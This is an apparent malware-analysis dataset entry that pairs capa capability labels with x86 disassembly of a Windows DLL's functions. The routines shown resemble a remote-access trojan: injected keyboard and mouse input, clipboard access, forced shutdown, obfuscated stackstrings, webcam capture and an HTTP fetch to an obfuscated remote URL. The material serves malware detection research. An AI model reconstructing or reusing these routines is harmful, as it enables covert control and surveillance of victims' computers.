joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ce40
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x100199b3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
mov dword [esi], 0x1001a284
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CloseHandle
push str.KERNEL32.dll
mov dword [esp + 0x2c], 1
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.WaitForSingleObject
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
push str.InterlockedExchange
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebx
lea ecx, [esi + 0x12]
push 0
push ecx
mov dword [esp + 0x1c], eax
call eax
lea edx, [esi + 0x10]
push 0
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x1c]
push 0xffffffffffffffff
push eax
call dword [esp + 0x18]
mov ecx, dword [esi + 0x20]
push 0xffffffffffffffff
push ecx
call dword [esp + 0x18]
mov edx, dword [esi + 0x1c]
push edx
call ebp
mov eax, dword [esi + 0x20]
push eax
call ebp
mov ecx, dword [esi + 0xa8]
test ecx, ecx
je 0x1000cef5
mov edx, dword [ecx]
push 1
call dword [edx]
push str.User32.dll
mov byte [esp + 0x28], 0
mov dword [esi + 0x24], 0x1001a28c
call edi
mov ebp, eax
push str.DestroyCursor
push ebp
call ebx
push str.FreeLibrary
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebx
mov dword [esp + 0x10], eax
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [edi]
push eax
call dword [esp + 0x18]
add edi, 4
dec ebx
jne 0x1000cf31
push ebp
call dword [esp + 0x14]
mov ecx, esi
mov dword [esp + 0x24], 0xffffffff
call fcn.1000b8e0
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x1000d620
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x1000d7d1
call fcn.1000fe40
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x1000d7d1
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x1000d69d
cmp eax, 0x208
ja 0x1000d69d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x1000d74d
je 0x1000d735
cmp eax, 0x105
ja 0x1000d709
je 0x1000d6eb
sub eax, 0x100
je 0x1000d6cd
dec eax
je 0x1000d6eb
sub eax, 3
jne case.0x1000d757.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000d757.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x1000d757.521
sub eax, 0x201
je 0x1000d726
dec eax
jne case.0x1000d757.521
push 0
push 0
push 0
push 0
push 4
jmp 0x1000d7ba
push 0
push 0
push 0
push 0
push 2
jmp 0x1000d7ba
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x1000d7ba
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x1000d757.521
jmp dword [eax*4 + 0x1000d7d8]
push 0
push 0
push 0
push 0
push 8
jmp 0x1000d7ba
push 0
push 0
push 0
push 0
push 0x10
jmp 0x1000d7ba
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x1000d7ba
push 0
push 0
push 0
push 0
push 0x20
jmp 0x1000d7ba
push 0
push 0
push 0
push 0
push 0x40
jmp 0x1000d7ba
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x1000d669
pop edi
pop ebp
pop ebx
pop esi
ret 8
Function at 0x1000d800
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GlobalAlloc
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GlobalLock
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.GlobalUnlock
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.GlobalFree
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000d8b1
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x20]
push esi
push 0x2000
call ebx
mov ebx, eax
test ebx, ebx
je 0x1000d8ab
push ebx
call ebp
mov ecx, esi
mov esi, dword [esp + 0x1c]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [esp + 0x14]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [esp + 0x18]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8

Function at 0x1000d8c0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GlobalSize
mov dword [esp + 0x1c], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GlobalLock
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.GlobalUnlock
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push 0
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000d989
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 0x10], esi
jne 0x1000d938
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push esi
call ebx
mov ebx, eax
push esi
inc ebx
call ebp
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [esp + 0x18]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x18]
push ebx
push ebp
call fcn.1000b920
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x1000dd50
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10019a3e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x14], esi
mov dword [esi], 0x1001a290
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x10c]
push eax
push ecx
mov dword [esp + 0x28], 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov edx, dword [0x10020bcc]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.DeleteDC
push edx
call edi
mov ebx, eax
mov eax, dword [esi + 0x48]
push eax
call ebx
mov ecx, dword [esi + 0x4c]
push ecx
call ebx
mov edx, dword [esi + 0x50]
push edx
call ebx
mov eax, dword [esi + 0x80]
push eax
call ebx
mov ecx, dword [0x10020bcc]
push str.DeleteObject
push ecx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.FreeLibrary
push str.KERNEL32.dll
mov ebx, eax
call ebp
push eax
call edi
mov edx, dword [esi + 0x54]
mov dword [esp + 0x10], eax
push edx
call ebx
mov eax, dword [esi + 0x58]
push eax
call ebx
mov ecx, dword [esi + 0x84]
push ecx
call ebx
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000de10
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [esi + 0x68]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 0x64]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 0x6c]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [0x10020bcc]
add esp, 0xc
push edx
call dword [esp + 0x14]
push str.User32.dll
mov dword [esp + 0x24], 0xffffffff
mov dword [esi + 0x88], 0x1001a28c
call ebp
mov ebx, eax
push str.DestroyCursor
push ebx
call edi
push str.FreeLibrary
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call ebp
push eax
call edi
mov ebp, eax
add esi, 0xcc
mov edi, 0x10
mov eax, dword [esi]
push eax
call dword [esp + 0x14]
add esi, 4
dec edi
jne 0x1000de7c
push ebx
call ebp
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x1000eb20
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x10019a78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
mov dword [esi], 0x1001a294
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x28], 0
call edi
mov eax, dword [0x10020bd4]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
push str.TerminateThread
push eax
call ebx
mov ecx, dword [esi + 0x28]
push 0
mov ebp, eax
push ecx
call ebp
push 0x30
call edi
mov edx, dword [0x10020bd4]
add esp, 4
push str.TerminateProcess
push edx
call ebx
push str.WaitForSingleObject
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [esp + 0x18]
push 0x30
call edi
mov ecx, dword [esi + 0x24]
add esp, 4
push 0
push ecx
call ebp
push 0x30
call edi
mov edx, dword [esi + 0x2c]
add esp, 4
push 0x7d0
push edx
call dword [esp + 0x1c]
push 0x30
call edi
mov eax, dword [esi + 0x2c]
add esp, 4
push 0
push eax
call ebp
mov ecx, dword [0x10020bd4]
push str.DisconnectNamedPipe
push ecx
call ebx
mov edi, eax
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1000ec00
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000ec0a
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000ec14
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1000ec1e
push eax
call edi
mov edx, dword [0x10020bd4]
push str.CloseHandle
push edx
call ebx
push str.FreeLibrary
push str.KERNEL32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
mov ebx, eax
mov eax, dword [esi + 0x10]
push eax
call edi
mov ecx, dword [esi + 0x14]
push ecx
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x1c]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x2c]
push eax
call edi
mov ecx, dword [esi + 0x28]
push ecx
call edi
mov edx, dword [0x10020bd4]
push edx
call ebx
mov ecx, esi
mov dword [esp + 0x24], 0xffffffff
call fcn.1000b8e0
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x1000f6a0
Capabilities:
Shutdown system

Disassembly:
push str.SeShutdownPrivilege
call fcn.100121c0
mov eax, dword [esp + 8]
add esp, 4
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.SeShutdownPrivilege
call fcn.100121c0
pop ecx
ret

Function at 0x1000f960
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
push ebx
mov cl, 0x74
push ebp
mov byte [esp + 0x19], al
mov byte [esp + 0x1c], al
mov byte [esp + 0xa], al
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.WaitForSingleObject
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
push str.CloseHandle
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
mov edx, dword [esp + 0x4c]
mov cl, byte [esp + 0x5c]
push 0
mov esi, eax
mov eax, dword [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], eax
mov byte [esp + 0x48], cl
call ebp
mov edx, dword [esp + 0x58]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x54]
push edx
mov edx, dword [esp + 0x4c]
lea ecx, [esp + 0x34]
push eax
mov eax, dword [esp + 0x4c]
push ecx
push 0x1000f8c0
push edx
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [esp + 0x54]
add esp, 0x18
mov edi, eax
push 0xffffffffffffffff
push ecx
call ebx
mov edx, dword [esp + 0x3c]
push edx
call esi
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret

Function at 0x1000fb60
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
push edi
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 8]
lea edx, [esp + 4]
push ecx
mov edi, eax
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1000fbc9
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 8]
push eax
push esi
call edi
mov ecx, dword [esp + 8]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
pop edi
add esp, 8
ret
xor eax, eax
pop edi
add esp, 8
ret
Function at 0x1000fbd0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a2a8
push 0x10019398
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x154
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push str.CloseHandle
push str.KERNEL32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x24], eax
push str.OpenProcess
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x40], eax
push str.OpenProcessToken
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x30], eax
push str.GetTokenInformation
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ebx, eax
push str.LookupAccountSidA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
push str.explorer.exe
call fcn.1000fa90
add esp, 4
xor esi, esi
cmp eax, esi
jne 0x1000fc84
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 4], esi
push eax
push esi
push 0x400
call dword [ebp - 0x40]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x1000fd5b
lea eax, [ebp - 0x44]
push eax
push 8
push edi
call dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x1000fd5b
mov dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x4c]
push ecx
push 0
push 0
push 1
mov edx, dword [ebp - 0x44]
push edx
call ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x4c]
test eax, eax
jbe 0x1000fd5b
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov dword [ebp - 0x15c], esi
mov dword [ebp - 0x38], esi
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x44]
push edx
call ebx
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x1000fd5b
mov dword [ebp - 0x154], 0x104
mov dword [ebp - 0x158], 0x100
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x154]
push edx
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0x158]
push edx
push eax
mov eax, dword [esi]
push eax
push 0
call dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], 0xffffffff
call 0x1000fd6d
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
test edi, edi
je 0x1000fd75
push edi
call dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
test eax, eax
je 0x1000fd80
push eax
call dword [ebp - 0x24]
test esi, esi
je 0x1000fd8d
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010000
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
push str.GetCurrentThreadId
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.1000ffb0
add esp, 8
test eax, eax
jne 0x10010074
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x10010098
push esi
call fcn.1000ff30
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x10010350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x25], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], cl
mov cl, 0x74
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x12], al
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 0x14], cl
mov byte [esp + 0x1a], cl
lea eax, [esp + 0x10]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x24]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x1001a2b4
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x1c], 0x43
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x22], 0x45
mov byte [esp + 0x23], 0x76
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x41
mov byte [esp + 0x28], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x10020be8], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.10010600
test al, al
je 0x100104be
mov al, byte [0x10020be4]
test al, al
jne 0x100104be
mov edx, dword [0x10020be8]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push bind
push 0x100200b0
push str.32770
push ebx
call eax
push 0x30
mov dword [esi + 0x10], eax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push str.AVICAP32.dll
call edi
mov ebx, eax
push str.capCreateCaptureWindowA
push ebx
call ebp
push str.FreeLibrary
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
mov edi, eax
mov eax, dword [esi + 0x10]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call dword [esp + 0x30]
push 0x30
mov dword [esi + 0x14], eax
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push ebx
call edi
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x100112d0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push str.Process32First
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.Process32Next
push str.KERNEL32.dll
mov dword [ebp - 0x10], eax
call esi
push eax
call edi
push str.lstrcmpiA
push str.KERNEL32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
mov edi, eax
nop
push 0
push 2
mov dword [ebp - 4], 0
call ebx
mov esi, eax
test esi, esi
je 0x100113a6
lea eax, [ebp - 0x138]
mov dword [ebp - 0x138], 0x128
push eax
push esi
call dword [ebp - 0x10]
test eax, eax
je 0x100113a2
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x114]
push ecx
push ebx
call edi
test eax, eax
je 0x1001139b
lea edx, [ebp - 0x138]
push edx
push esi
call dword [ebp - 8]
test eax, eax
jne 0x10011370
push esi
call dword [ebp - 0xc]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 1
push esi
call dword [ebp - 0xc]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10011750
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
push 0x2c0
push str.ebo605_gno
call fcn.10013040
add esp, 8
cmp word [0x1001e462], 0
je 0x100118b7
push str.WININET.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x10], edi
jne 0x100117b9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
push str.InternetOpenUrlA
push esi
call ebp
push 0
push 0x80000100
push 0
push 0
push str.kwur9_qus_achfs__lo.hs_vyv
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x100117e5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x18]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
mov dword [esp + 0x1c], 0
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x18]
push ecx
push 0x800
push edx
push ebx
call eax
push str.InternetCloseHandle
push esi
call ebp
push str.FreeLibrary
push str.KERNEL32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push ebx
mov ebp, eax
call edi
mov eax, dword [esp + 0x10]
push eax
call edi
lea ecx, [esp + 0x18]
push 0x1001e96c
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x10011876
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x18]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
sub ecx, edx
push ecx
push eax
push str.ebo605_gno
call dword [sym.imp.MSVCRT.dll_strncpy]
inc ebx
push ebx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov word [0x1001e460], ax
push esi
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x808
ret